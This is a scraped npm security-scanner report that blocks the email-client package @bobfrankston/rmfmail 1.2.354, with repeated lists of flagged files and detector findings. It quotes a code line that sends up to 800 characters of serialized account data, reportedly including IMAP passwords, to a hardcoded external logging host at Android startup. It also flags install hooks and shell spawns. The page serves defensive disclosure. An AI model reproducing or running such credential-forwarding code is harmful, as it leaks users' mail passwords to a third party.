Loading npm security reports…

@bobfrankston/rmfmail: Malicious npm security report (Block) | LPM Firewall

registry / @bobfrankston/rmfmail / 1.2.354

@bobfrankston/rmfmail@1.2.354

Local-first email client with IMAP sync and standalone native app

AI Security Review

scanned 6d ago · by lpm-firewall-ai

Android startup automatically exports account settings containing IMAP passwords to an external logging receiver. The behavior is present in the shipped executable bundle.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Client initialization through the Android bootstrap when cloud accounts are loaded.

Impact

Existing mail credentials and account metadata can be disclosed to a recipient unrelated to the configured mail service, including settings for disabled accounts.

Mechanism

Account normalization retains passwords; initialization serializes the IMAP object and sends the first 800 characters through an encoded URL to the hardcoded logging host.

Attack narrative

The client invokes Android initialization, which loads cloud account records and retains their IMAP passwords. Initialization logs the entire IMAP configuration before checking whether each account is enabled. The shipped logging function automatically transmits that serialized configuration to a hardcoded external receiver, with no password redaction or user opt-in. The 800-character limit can truncate records but does not protect ordinary account passwords.

AI rationale

Inspected source establishes automatic forwarding of existing mail passwords to a hardcoded unrelated logging receiver through the active shipped bootstrap. This concrete credential exposure supports blocking independently of scanner similarity claims.

Evidence

packages/mailx-store-web/web-settings.tspackages/mailx-store-web/android-bootstrap.tsclient/android-bootstrap.bundle.jsclient/index.htmlaccounts.jsonc

Source & flagged code

24 flagged

package.jsonView file

Lines 12-52json

12 "rmfmail-mcp": "bin/mcp-server.js"

13 },

14 "workspaces": [

15 "packages/mailx-types",

16 "packages/mailx-bus",

17 "packages/mailx-host",

18 "packages/mailx-settings",

19 "packages/mailx-store",

20 "packages/mailx-store-web",

21 "packages/mailx-imap",

22 "packages/mailx-service",

23 "packages/mailx-api",

24 "client"

25 ],

26 "scripts": {

27 "build": "npm run build --workspaces --if-present && tsc -p bin && node bin/build-icon-ico.js && node bin/build-rmfmailto-exe.js && node bin/build-rmfshare-exe.js && node bin/build-rmf-tiny.js && node bin/build-tinymce.js && node bin/build-quill.js && node bin/build-spellcheck-dict.js && node bin/build-bundles.mjs",

28 "watch": "tsc -w",

29 "release": "npmglobalize",

30 "test": "node --experimental-strip-types --test tests/*.test.ts tests/dom/*.test.ts",

31 "test:fast": "node --experimental-strip-types --test tests/dedup.test.ts tests/dedup-newest.test.ts tests/dupcount.test.ts tests/search.test.ts tests/sync-coalesce.test.ts tests/undelete.test.ts tests/body-load.test.ts tests/allowlist-merge.test.ts tests/attachment-bytes.test.ts tests/web-list-filters.test.ts tests/log-changes.test.ts tests/dom/_smoke.test.ts tests/dom/viewer-scroll.test.ts tests/dom/viewer-rerender-guard.test.ts tests/dom/harper-lint.test.ts",

32 "postinstall": "node bin/postinstall.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L32

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L32

33 },

34 "dependencies": {

35 "@bobfrankston/iflow-direct": "^0.1.84",

36 "@bobfrankston/mailx-host": "^0.1.15",

37 "@bobfrankston/mailx-imap": "^0.1.197",

38 "@bobfrankston/mailx-service": "^0.1.50",

39 "@bobfrankston/mailx-settings": "^0.1.108",

40 "@bobfrankston/mailx-store": "^0.1.140",

41 "@bobfrankston/mailx-store-web": "^0.1.127",

42 "@bobfrankston/mailx-sync": "^0.1.35",

43 "@bobfrankston/miscinfo": "^1.0.27",

44 "@bobfrankston/msger": "^0.1.434",

45 "@bobfrankston/node-tcp-transport": "^0.1.10",

46 "@bobfrankston/oauthsupport": "^1.0.35",

47 "@bobfrankston/rmf-tiny": "^0.1.58",

48 "@bobfrankston/smtp-direct": "^0.1.9",

49 "@bobfrankston/tcp-transport": "^0.1.8",

50 "@capacitor/android": "^8.3.0",

51 "@capacitor/cli": "^8.3.0",

52 "@capacitor/core": "^8.3.0",

bin/build-bundles.mjsView file

Lines 1-51javascript

1#!/usr/bin/env node

2/**

3 * Bundle client entry points so cold-start drops from ~43 s to ~2 s.

4 *

5 * mailx's msger custom protocol routes every fetch through one IPC channel

6 * (Rust → daemon stdin → response → stdout), so an ES module import cascade

7 * pays a multi-second roundtrip per file. With ~17 client-side modules each

8 * pulling in transitive deps, the WebView is paying that cost N times in

9 * series.

10 *

bin/mailx.jsView file

Lines 228-268javascript

228 const __perAppBin = path.join(process.env.LOCALAPPDATA || "", "rmfmail", "bin");

229 const __rmfmailtoExe = path.join

client/app.bundle.jsView file

12436try { L12437: const fn = new Function(`return (async () => (${code}))();`); L12438: let v = await fn();

Low

Eval

Package source references a known benign dynamic code generation pattern.

client/app.bundle.jsView on unpkg · L12436

bin/lean-accounts.jsView file

Lines 116-156javascript

116 const inputPath = args.find(a => !a.startsWith("--"));

117 const inplace = args.includes

packages/mailx-store-web/worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

20// ── Globals ──

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

bin/rmfshare.exeView file

•path = bin/rmfshare.exe kind = native_binary sizeBytes = 4603904 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

bin/rmfshare.exeView on unpkg

bin/share-target.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 13

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

bin/share-target.js#virtual:normalized:round1View on unpkg

bin/mailx.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = bin/mailx.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.tsView on unpkg

bin/build-rmfmailto-exe.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = bin/build-rmfmailto-exe.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfmailto-exe.jsView on unpkg

bin/build-rmfshare-exe.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = bin/build-rmfshare-exe.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfshare-exe.jsView on unpkg

bin/share-target.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = bin/share-target.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.jsView on unpkg

bin/share-target.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = bin/share-target.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.tsView on unpkg

client/android-bootstrap.bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = client/android-bootstrap.bundle.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/android-bootstrap.bundle.jsView on unpkg

client/lib/local-service.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = client/lib/local-service.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/lib/local-service.tsView on unpkg

client/compose/spellcheck-core.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = client/compose/spellcheck-core.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.jsView on unpkg

client/compose/spellcheck-core.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = client/compose/spellcheck-core.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.tsView on unpkg

client/compose/spellcheck.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = client/compose/spellcheck.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.jsView on unpkg

client/compose/spellcheck.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = client/compose/spellcheck.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.tsView on unpkg

Source & flagged code

24 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node bin/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/build-bundles.mjsView file

31{ L32: const { execFileSync } = await import("node:child_process"); L33: try {

High

Child Process

Package source references child process execution.

bin/build-bundles.mjsView on unpkg · L31

5Cross-file remote execution chain: bin/build-bundles.mjs spawns client/android-bootstrap.bundle.js; helper contains network access plus dynamic code execution. L5: * mailx's msger custom protocol routes every fetch through one IPC channel L6: * (Rust → daemon stdin → response → stdout), so an ES module import cascade L7: * pays a multi-second roundtrip per file. With ~17 client-side modules each ... L31: { L32: const { execFileSync } = await import("node:child_process"); L33: try { ... L162: logLevel: "info", L163: // .wasm files are inlined as base64 data URLs so the runtime can L164: // decode → Uint8Array → pass as initSqlJs({ wasmBinary }), bypassing L165: // sql.js's fetch(...) of the .wasm. Android WebView refuses to L166: // compile WASM fetched from file:// (even with AllowFileAcce

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

bin/build-bundles.mjsView on unpkg · L5

5* mailx's msger custom protocol routes every fetch through one IPC channel L6: * (Rust → daemon stdin → response → stdout), so an ES module import cascade L7: * pays a multi-second roundtrip per file. With ~17 client-side modules each ... L31: { L32: const { execFileSync } = await import("node:child_process"); L33: try { ... L162: logLevel: "info", L163: // .wasm files are inlined as base64 data URLs so the runtime can L164: // decode → Uint8Array → pass as initSqlJs({ wasmBinary }), bypassing L165: // sql.js's fetch(...) of the .wasm. Android WebView refuses to L166: // compile WASM fetched from file:// (even with AllowFileAccess /

Low

Weak Crypto

Package source references weak cryptographic algorithms.

bin/build-bundles.mjsView on unpkg · L5

bin/mailx.jsView file

248// reg.exe value for `\"path\" \"%1\"` — double-backslash escapes for L249: // cmd.exe's shell layer, which strips one level before the value reaches L250: // reg.exe. Quoting %1 keeps `?` and `&` from being eaten by cmd before

High

Shell

Package source references shell execution.

bin/mailx.jsView on unpkg · L248

2945clearInstanceFile(); L2946: const { spawn: spawnChild } = await import("child_process"); L2947: const child = spawnChild("rmfmail", [], { detached: true, stdio: "ignore", shell: true, windowsHide: true }); ... L2960: } L2961: // Auto-update action: run npm install then restart L2962: if (req._action === "performUpdate") {

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/mailx.jsView on unpkg · L2945

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.353 matchedPath = bin/mailx.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.353 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.jsView on unpkg

client/app.bundle.jsView file

12436try { L12437: const fn = new Function(`return (async () => (${code}))();`); L12438: let v = await fn();

Low

Eval

Package source references a known benign dynamic code generation pattern.

client/app.bundle.jsView on unpkg · L12436

bin/lean-accounts.jsView file

136if (fs.existsSync(path.join(dir, "package.json"))) { L137: const mod = await import(pathToFileURL(path.join(dir, "lib", "esm", "main.js")).href).catch(() => null) || L138: await import("jsonc-parser").catch(() => null);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/lean-accounts.jsView on unpkg · L136

packages/mailx-store-web/worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

packages/mailx-store-web/worker-entry.tsView on unpkg · L37

bin/rmfshare.exeView file

•path = bin/rmfshare.exe kind = native_binary sizeBytes = 4603904 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

bin/rmfshare.exeView on unpkg

bin/share-target.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 13

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

bin/share-target.js#virtual:normalized:round1View on unpkg

bin/mailx.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.tsView on unpkg

bin/build-rmfmailto-exe.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfmailto-exe.jsView on unpkg

bin/build-rmfshare-exe.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfshare-exe.jsView on unpkg

bin/share-target.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.jsView on unpkg

bin/share-target.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.tsView on unpkg

client/android-bootstrap.bundle.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/android-bootstrap.bundle.jsView on unpkg

client/lib/local-service.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/lib/local-service.tsView on unpkg

client/compose/spellcheck-core.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.jsView on unpkg

client/compose/spellcheck-core.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.tsView on unpkg

client/compose/spellcheck.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.jsView on unpkg

client/compose/spellcheck.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.tsView on unpkg

Source & flagged code

24 flagged

package.jsonView file

Lines 12-52json

12 "rmfmail-mcp": "bin/mcp-server.js"

13 },

14 "workspaces": [

15 "packages/mailx-types",

16 "packages/mailx-bus",

17 "packages/mailx-host",

18 "packages/mailx-settings",

19 "packages/mailx-store",

20 "packages/mailx-store-web",

21 "packages/mailx-imap",

22 "packages/mailx-service",

23 "packages/mailx-api",

24 "client"

25 ],

26 "scripts": {

28 "watch": "tsc -w",

29 "release": "npmglobalize",

30 "test": "node --experimental-strip-types --test tests/*.test.ts tests/dom/*.test.ts",

32 "postinstall": "node bin/postinstall.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L32

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L32

33 },

34 "dependencies": {

35 "@bobfrankston/iflow-direct": "^0.1.84",

36 "@bobfrankston/mailx-host": "^0.1.15",

37 "@bobfrankston/mailx-imap": "^0.1.197",

38 "@bobfrankston/mailx-service": "^0.1.50",

39 "@bobfrankston/mailx-settings": "^0.1.108",

40 "@bobfrankston/mailx-store": "^0.1.140",

41 "@bobfrankston/mailx-store-web": "^0.1.127",

42 "@bobfrankston/mailx-sync": "^0.1.35",

43 "@bobfrankston/miscinfo": "^1.0.27",

44 "@bobfrankston/msger": "^0.1.434",

45 "@bobfrankston/node-tcp-transport": "^0.1.10",

46 "@bobfrankston/oauthsupport": "^1.0.35",

47 "@bobfrankston/rmf-tiny": "^0.1.58",

48 "@bobfrankston/smtp-direct": "^0.1.9",

49 "@bobfrankston/tcp-transport": "^0.1.8",

50 "@capacitor/android": "^8.3.0",

51 "@capacitor/cli": "^8.3.0",

52 "@capacitor/core": "^8.3.0",

bin/build-bundles.mjsView file

Lines 1-51javascript

1#!/usr/bin/env node

2/**

3 * Bundle client entry points so cold-start drops from ~43 s to ~2 s.

4 *

5 * mailx's msger custom protocol routes every fetch through one IPC channel

6 * (Rust → daemon stdin → response → stdout), so an ES module import cascade

7 * pays a multi-second roundtrip per file. With ~17 client-side modules each

8 * pulling in transitive deps, the WebView is paying that cost N times in

9 * series.

10 *

bin/mailx.jsView file

Lines 228-268javascript

228 const __perAppBin = path.join(process.env.LOCALAPPDATA || "", "rmfmail", "bin");

229 const __rmfmailtoExe = path.join

client/app.bundle.jsView file

12436try { L12437: const fn = new Function(`return (async () => (${code}))();`); L12438: let v = await fn();

Low

Eval

Package source references a known benign dynamic code generation pattern.

client/app.bundle.jsView on unpkg · L12436

bin/lean-accounts.jsView file

Lines 116-156javascript

116 const inputPath = args.find(a => !a.startsWith("--"));

117 const inplace = args.includes

packages/mailx-store-web/worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

20// ── Globals ──

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

bin/rmfshare.exeView file

•path = bin/rmfshare.exe kind = native_binary sizeBytes = 4603904 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

bin/rmfshare.exeView on unpkg

bin/share-target.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 13

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

bin/share-target.js#virtual:normalized:round1View on unpkg

bin/mailx.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.tsView on unpkg

bin/build-rmfmailto-exe.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfmailto-exe.jsView on unpkg

bin/build-rmfshare-exe.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfshare-exe.jsView on unpkg

bin/share-target.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.jsView on unpkg

bin/share-target.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.tsView on unpkg

client/android-bootstrap.bundle.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/android-bootstrap.bundle.jsView on unpkg

client/lib/local-service.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/lib/local-service.tsView on unpkg

client/compose/spellcheck-core.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.jsView on unpkg

client/compose/spellcheck-core.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.tsView on unpkg

client/compose/spellcheck.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.jsView on unpkg

client/compose/spellcheck.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.tsView on unpkg

@bobfrankston/rmfmail@1.2.354

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code